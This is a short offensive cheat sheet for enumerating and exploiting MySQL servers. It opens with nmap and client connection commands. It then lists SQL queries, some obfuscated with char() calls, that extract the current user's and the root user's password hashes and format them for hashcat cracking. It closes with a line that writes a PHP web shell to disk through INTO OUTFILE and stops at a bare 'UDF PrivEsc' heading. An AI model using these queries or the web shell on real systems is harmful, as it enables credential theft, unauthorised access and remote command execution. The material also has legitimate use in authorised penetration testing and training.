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MySQL enumeration and exploitation

Initial enumeration

nmap -vv -p 3306 -sT --script=+mysql* <ip>

Connecting to a MySQL database

  • Connect to a database using mysql client:
mysql -u <username> -p<no_space_before_password> -h <ip> -P 3306 <database>
  • Connect using mysqlsh (X Protocol):
mysqlsh --mysqlx -u <username> -p<no_space_before_password> -h <ip> -P 33060 -D <database>

Enumerating a database

  • Get version:
SELECT @@version;
  • Get current database:
SELECT database();
  • Get current user:
SELECT current_user();
  • Get current user's password hash:
SELECT password FROM mysql.user WHERE user=left(current_user(),locate(char(064),current_user())-1) AND convert(host USING UTF8)=substring(current_user(),locate(char(064),current_user())+1,255); -- Some databases still use password column
SELECT authentication_string FROM mysql.user WHERE user=left(current_user(),locate(char(064),current_user())-1) AND convert(host USING UTF8)=substring(current_user(),locate(char(064),current_user())+1,255);
SELECT concat(concat(char(036),char(109),char(121),char(115),char(113),char(108)),left(authentication_string,6),char(042),insert(hex(substring(authentication_string,8)),41,0,char(042))) FROM mysql.user WHERE user=left(current_user(),locate(char(064),current_user())-1) AND convert(host USING UTF8)=substring(current_user(),locate(char(064),current_user())+1,255); -- A current user's password hash encoded for the 7401 hashcat mode. Use this if a password hash has non-ASCII characters.
  • List all users:
SELECT user FROM mysql.user ORDER BY 1;
  • Get default user's password hash:
SELECT password FROM mysql.user WHERE lower(user)=concat(char(114),char(111),char(111),char(116)); -- "root" user. Some databases still use password column
SELECT authentication_string FROM mysql.user WHERE lower(user)=concat(char(114),char(111),char(111),char(116)); -- "root" user.
SELECT concat(concat(char(036),char(109),char(121),char(115),char(113),char(108)),left(authentication_string,6),char(042),insert(hex(substring(authentication_string,8)),41,0,char(042))) FROM mysql.user WHERE lower(user)=concat(char(114),char(111),char(111),char(116)); -- A root user's password hash encoded for the 7401 hashcat mode. Use this if a password hash has non-ASCII characters.
  • List tables:
SELECT table_schema,table_name FROM information_schema.tables ORDER BY 1;
  • List table columns:
SELECT column_name FROM information_schema.columns WHERE table_name='<table_name>' ORDER BY 1;
  • Search for %user% like tables:
SELECT table_schema,table_name FROM information_schema.tables WHERE lower(table_name) LIKE concat(char(37),char(117),char(115),char(101),char(114),char(37)) ORDER BY 1 LIMIT 1 OFFSET 0;

Saving anything to a file

  • Usually MySQL has permissions to write into the /var/lib/mysql folder:
select '<?php system($_GET[\'c\']); ?>' into outfile '/var/lib/mysql/cmd.php';

UDF PrivEsc